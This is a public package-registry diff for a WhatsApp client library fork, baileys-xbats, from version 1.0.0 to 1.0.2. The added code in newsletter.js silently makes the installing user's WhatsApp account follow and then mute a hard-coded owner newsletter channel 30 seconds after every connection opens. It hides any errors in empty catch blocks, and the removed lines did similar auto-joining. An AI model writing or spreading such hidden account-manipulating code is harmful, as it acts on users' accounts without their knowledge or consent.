baileys-xbats 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +12 -32
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,38 +83,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
83
83
|
return data;
|
|
84
84
|
}));
|
|
85
85
|
};
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
try {
|
|
100
|
-
await newsletterWMexQuery(id, QueryIds.FOLLOW);
|
|
101
|
-
|
|
102
|
-
await new Promise(r => setTimeout(r, 3000));
|
|
103
|
-
|
|
104
|
-
await newsletterWMexQuery(id, QueryIds.MUTE);
|
|
105
|
-
} catch {}
|
|
106
|
-
|
|
107
|
-
await new Promise(r => setTimeout(r, 10000));
|
|
108
|
-
}
|
|
109
|
-
} catch {}
|
|
110
|
-
};
|
|
111
|
-
sock.ev.on("connection.update", ({ connection }) => {
|
|
112
|
-
if (connection !== "open") return;
|
|
113
|
-
|
|
114
|
-
setTimeout(() => {
|
|
115
|
-
autoJoinChannels();
|
|
116
|
-
}, 30000);
|
|
117
|
-
});
|
|
86
|
+
// [XBATS] Auto join owner channel
|
|
87
|
+
const xbatsAutoJoin = async () => {
|
|
88
|
+
try {
|
|
89
|
+
await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.FOLLOW);
|
|
90
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
91
|
+
await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.MUTE);
|
|
92
|
+
} catch {}
|
|
93
|
+
};
|
|
94
|
+
sock.ev.on('connection.update', ({ connection }) => {
|
|
95
|
+
if (connection !== 'open') return;
|
|
96
|
+
setTimeout(() => { xbatsAutoJoin(); }, 30000);
|
|
97
|
+
});
|
|
118
98
|
return {
|
|
119
99
|
...sock,
|
|
120
100
|
subscribeNewsletterUpdates: async (jid) => {
|